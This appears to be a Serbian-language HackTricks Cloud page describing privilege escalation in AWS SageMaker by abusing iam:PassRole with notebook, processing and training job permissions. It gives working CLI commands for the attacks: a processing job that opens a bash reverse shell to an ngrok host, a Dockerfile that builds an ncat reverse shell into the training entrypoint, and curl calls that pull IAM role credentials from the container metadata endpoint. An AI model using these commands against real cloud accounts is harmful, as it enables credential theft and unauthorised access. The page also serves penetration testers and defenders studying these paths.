AWS - Sagemaker Privesc
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
AWS - Sagemaker Privesc
iam:PassRole
, sagemaker:CreateNotebookInstance
, sagemaker:CreatePresignedNotebookInstanceUrl
Počnite sa kreiranjem beležnice sa IAM rolom koja je povezana sa njom:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
Odgovor bi trebao sadržati polje NotebookInstanceArn
, koje će sadržati ARN novokreiranog notebook instance. Zatim možemo koristiti create-presigned-notebook-instance-url
API da generišemo URL koji možemo koristiti za pristup notebook instance kada bude spreman:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navigirajte do URL-a u pretraživaču i kliknite na `Open JupyterLab` u gornjem desnom uglu, zatim se pomerite do taba “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”.
Sada je moguće pristupiti metapodacima kredencijala IAM Role.
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.
sagemaker:CreatePresignedNotebookInstanceUrl
Ako su Jupyter notebook-ovi već pokrenuti na njemu i možete ih nabrojati sa sagemaker:ListNotebookInstances
(ili ih otkriti na bilo koji drugi način). Možete generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je povezana.
sagemaker:CreateProcessingJob,iam:PassRole
Napadač sa tim dozvolama može naterati sagemaker da izvrši processingjob sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u AWS upravljanom ECS nalogu, i ukrasti kredencijale IAM uloge koja je povezana.
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.
sagemaker:CreateTrainingJob
, iam:PassRole
Napadač sa tim dozvolama će moći da kreira trening posao, pokrećući proizvoljni kontejner na njemu sa priključenom ulogom. Stoga, napadač će moći da ukrade kredencijale te uloge.
warning
Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će direktno slati rev shell ili kredencijale napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).
# Kreirajte docker sliku
mkdir /tmp/rev
## Imajte na umu da će trening posao pozvati izvršnu datoteku pod nazivom "train"
## Zato stavljam rev shell u /bin/train
## Postavite vrednosti <YOUR-IP-OR-DOMAIN> i <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF
cd /tmp/rev
sudo docker build . -t reverseshell
# Učitajte ga u ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je navedena.
sagemaker:CreateHyperParameterTuningJob
, iam:PassRole
Napadač sa tim dozvolama će (potencijalno) moći da kreira hyperparameter training job, pokreće proizvoljan kontejner na njemu sa priključenom ulogom.
Nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije.
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.